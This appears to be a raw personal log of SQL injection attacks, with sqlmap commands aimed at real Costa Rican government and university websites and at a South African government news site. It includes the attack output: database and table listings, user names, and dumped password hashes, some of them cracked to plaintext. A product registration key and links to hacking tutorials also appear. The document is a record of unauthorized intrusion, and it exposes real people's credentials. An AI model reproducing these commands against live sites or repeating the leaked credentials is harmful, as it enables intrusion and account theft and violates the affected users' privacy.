SQL-Injection

python sqlmap.py -u http://www.pyme.go.cr/informacion.php?id= -D pymecr -T usuario --columns

http://pastebin.com/YyGvSxYr

http://increinfo.blogspot.com/2012/03/inyeccion-sql-con-backtrack-5-hackear.html





python sqlmap.py -u http://www.biologia.ucr.ac.cr/cont.php?id= --dbs


python sqlmap.py -u http://www.pyme.go.cr/informacion.php?id= -D pymecr -T usuario -C clave --dump

python sqlmap.py -u http://www.pyme.go.cr/informacion.php?id= -D pymecr --tables

[*] databasemeic
[*] information_schema
[*] mysql
[*] pymecr

Database: pymecr
[16 tables]
+-------------+
| cuadinicio1 |
| cuadinicio2 |
| cuadinicio3 |
| cuadinicio4 |
| cuadinicio5 |
| cuadinicio6 |
| menuiz1     |
| menuiz2     |
| menuiz3     |
| menuiz4     |
| menuiz5     |
| menuiz6     |
| menup1      |
| noticias    |
| usuario     |
| videos      |
+-------------+

Database: pymecr
Table: usuario
[4 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| clave      | varchar(16) |
| cookie     | longtext    |
| id_usuario | int(11)     |
| usuario    | varchar(50) |
+------------+-------------+


Table: usuario
[1 entry]
+----------+
| clave    |
+----------+
| 01101987 |
+----------+
@
/opt/nessus/bin/nessus-fetch --register 7CC0-499B-4516-AD7D-81BE
http://hotfixed.net/2011/05/18/nessus-metasploit-backtrack-5/
http://increinfo.blogspot.com/2012/03/inyeccion-sql-con-backtrack-5-hackear.html
http://foro.cl-security.net/hacked-exposed/hacked-joomla!-v-%281-6-x%29-metodo-facil-d-787/
http://www.antioquia.gov.co/BancoHV/index.php/component/users/?view=registration


python sqlmap.py -u www.sanews.gov.za/view.php?ID=03030516461008&coll=buanew03 --dbs
python sqlmap.py -u http://www.biologia.ucr.ac.cr/cont.php?id= -D joomlaBIOLO --tables
python sqlmap.py -u http://www.biologia.ucr.ac.cr/cont.php?id= -D joomlaBIOLO -T jos_users --columns
 python sqlmap.py -u http://www.biologia.ucr.ac.cr/cont.php?id= -D joomlaBIOLO -T jos_users -C password --dump




http://www.biologia.ucr.ac.cr/cont.php?id=
available databases [15]:
[*] aeb
[*] bioaula
[*] biologia
[*] bosquecito
[*] calendario
[*] descargas
[*] information_schema
[*] joomlaBioGen
[*] joomlaBIOLO
[*] mysql
[*] padron
[*] piwik
[*] redmeso
[*] sep
[*] test



Database: biologia
[54 tables]
+--------------------------------------+
| archivos                             |
| bitacora_activos                     |
| carreras                             |
| categorias                           |
| contenido                            |
| cr_canton                            |
| cr_distrito                          |
| cr_provincias                        |
| cursos_sigla_variada                 |
| cursos_sigla_variada_detalles        |
| encuesta                             |
| encuesta_area                        |
| encuesta_preguntas                   |
| encuesta_respuestas                  |
| estudiantes                          |
| estudiantes_anteproyectos            |
| estudiantes_consejeros               |
| estudiantes_enfasis                  |
| estudiantes_exp_laboral              |
| estudiantes_formacion_academica      |
| estudiantes_formacion_complementaria |
| estudiantes_grad_lic                 |
| estudiantes_idiomas                  |
| estudiantes_ofertas_laborales        |
| estudiantes_paq_informaticos         |
| estudiantes_publicaciones            |
| estudiantes_referencias              |
| estudiantes_tesis                    |
| grados                               |
| int_ambiental_onik                   |
| inventario                           |
| inventario_logs                      |
| inventario_ubicacion                 |
| inventario_ubicacion1                |
| investigacion                        |
| oficios                              |
| personal_eb                          |
| personal_eb_puestos                  |
| piwik_option                         |
| planes_estudio                       |
| planes_estudios_optativos            |
| planes_estudios_optativos_titulo     |
| planes_estudios_titulo               |
| prestamo_equipo                      |
| prestamo_equipo_detalle              |
| programas                            |
| proyectos_investigacion              |
| suscripcion                          |
| tareas                               |
| tareas_comentarios                   |
| tareas_status                        |
| usuarios                             |
| visitas                              |
| visitas_sumario                      |
+--------------------------------------+



Database: biologia
Table: usuarios
[22 columns]
+---------------------------------+--------------+
| Column                          | Type         |
+---------------------------------+--------------+
| ftp                             | varchar(255) |
| id                              | int(9)       |
| nombre                          | varchar(255) |
| pass                            | varchar(255) |
| permiso_autourl                 | int(2)       |
| permiso_bitacora_activos        | int(2)       |
| permiso_calendario              | int(1)       |
| permiso_correos                 | int(1)       |
| permiso_cursos_siglas_variables | int(11)      |
| permiso_ed_pagina               | int(1)       |
| permiso_estudiantes             | int(2)       |
| permiso_ftp                     | int(1)       |
| permiso_funcionarios            | int(1)       |
| permiso_inventario              | int(1)       |
| permiso_oferta_laboral          | int(2)       |
| permiso_oficios                 | int(1)       |
| permiso_prestamo_equipo         | int(1)       |
| permiso_proyectos_investigacion | int(11)      |
| permiso_tareas                  | int(1)       |
| puesto                          | varchar(255) |
| tipo                            | int(1)       |
| usuario                         | varchar(255) |
+---------------------------------+--------------+




Database: biologia
Table: usuarios
[22 entries]
+-----------+
| usuario   |
+-----------+
| Alejandra |
| Bernal    |
| Carolina  |
| Dennis    |
| eddy      |
| Elsa      |
| Federico  |
| Francisco |
| Freiser   |
| Gustavo   |
| hannia    |
| Hellen    |
| Jessica   |
| maualfa   |
| Mauricio  |
| Mercedes  |




Database: biologia
Table: usuarios
[22 entries]
+--------------------------------------------+
| pass                                       |
+--------------------------------------------+
| 202cb962ac59075b964b07152d234b70 (123)     |
| 2bca18f97f8dd221bece305903735a8f (facil)   |
| 3599f026c6c3d5c3f5a434cdb4991974 (tulipan) |
| 4fdd099c85cb9ba845aae634bc7557dd           |
| 5e875856361e9ad8092bf08c3ae8fe08 (Castro)  |
| 5fded24383cc6ad306bd3a2c9ebdba6c (peque13) |
| 78ef43355f8015c336bcc0cd8d8f3ea2           |
| 796144941995ef7bd70478c3f50a6cfd           |
| 796144941995ef7bd70478c3f50a6cfd           |
| 81dc9bdb52d04dc20036dbd8313ed055 (1234)    |
| 81dc9bdb52d04dc20036dbd8313ed055 (1234)    |
| 81dc9bdb52d04dc20036dbd8313ed055 (1234)    |
| 81dc9bdb52d04dc20036dbd8313ed055 (1234)    |
| 81dc9bdb52d04dc20036dbd8313ed055 (1234)    |
| 81dc9bdb52d04dc20036dbd8313ed055 (1234)    |
| 8cf4f2d5b34de3b84b4b9225c94deebe           |
| 984229b1e57c13b95a3e493be2442c26 (gus123)  |
| a19ceec04c3ff449b2f5ffb0c0526be2           |
| aa47f8215c6f30a0dcdb2a36a9f4168e (daniel)  |
| badbca10cc3562d8cb391d353aba0050           |
| e3c6c35d3b78aa04e4d36dc5399fb6aa           |
| f0467e856f9ee5f05a1815fca47b7787 (6616)    |
+--------------------------------------------+

Database: joomlaBIOLO
Table: jos_users
[13 columns]
+---------------+---------------------+
| Column        | Type                |
+---------------+---------------------+
| activation    | varchar(100)        |
| block         | tinyint(4)          |
| email         | varchar(100)        |
| gid           | tinyint(3) unsigned |
| id            | int(11)             |
| lastvisitDate | datetime            |
| name          | varchar(255)        |
| params        | text                |
| password      | varchar(100)        |
| registerDate  | datetime            |
| sendEmail     | tinyint(4)          |
| username      | varchar(150)        |
| usertype      | varchar(25)         |
+---------------+---------------------+

Database: joomlaBIOLO
Table: jos_users
[13 entries]
+-------------------------------------------------------------------+
| password                                                          |
+-------------------------------------------------------------------+
| 10839272eb7307b147d5a5640411f7db:GoA2WWSyTNIRAjxohwqtLfusWWd0w0sm |
| 182549c2240ee83f3c55365eefb67286:ANquxJtN4BlK06YFoQyAQjdTGQOUDCJr |
| 415ee7f07f80c18a983cc336f8edbfac:LsWa5fRmYFFFVJnpKrY66aUNT6ZTlluc |
| 63d800e4dc59ef637ae65307e4356e3c:qRQacui3Rwz6xvuremL1xa8HWFCQcf21 |
| 80efad9428e2a5cebcd4a02f2718ca22:0mG1OvL2SHmgG7My4r4V6tpVCFXPl4eW |
| 86c5cba711bbebc53e0f41596cf0521d:9G4L7aEZEahp7EbO1TgMnHeFwjgWtQ7G |
| 8fdd88019fb6b2c3f97c04aaa8829c5d:3lChfZtpY4Cnl7UA1e2pHa2GbVAFumBn |
| 9bd2413ae0cd7f4cbe23b29414fd025e:t3NK2ChqzXVDP6CJ48FMLODU4Cj7AnsS |
| b0596aaa65cdd1cf9d3ffdb2f23121e7:0hruGQuV7QWusHQ0WmmXXloHJAaAxWtx |
| b11308e56f9bee3f67530c00503dd04c:D0tcF1Q9QfM0X9qVKh1kmaWXKKdmRU6X |
| e89312ceec78c3b34a4edda7e17fc9e9:1czpXI17COSs4mvkWsMGoa0YByZDBu0Z |
| e8c7fa741654e82888cc5cc7c210a333:C2ngzUUzJ2JXoaxDDOoqUYSrWAvByoog |
| fb6eb9599e856e4be6e15e24bc81e184:AIsY0FRiAGrJojCA4xXB1HOCfPDvWRQ8 |
+-------------------------------------------------------------------+


Database: joomlaBIOLO
Table: jos_users
[13 entries]
+-----------+
| username  |
+-----------+
| admin     |
| Alejandra |
| Bernal    |
| Carolina  |
| Dennis    |
| Elsa      |
| Federico  |
| Hannia    |
| Jessica   |
| maualfa   |
| Mercedes  |
| Milena    |
| Viviana   |
+-----------+

Utilizando Nessus con Metasploit

http://hacknode.blogspot.com/2011/08/utilizando-nessus-con-metasploit.html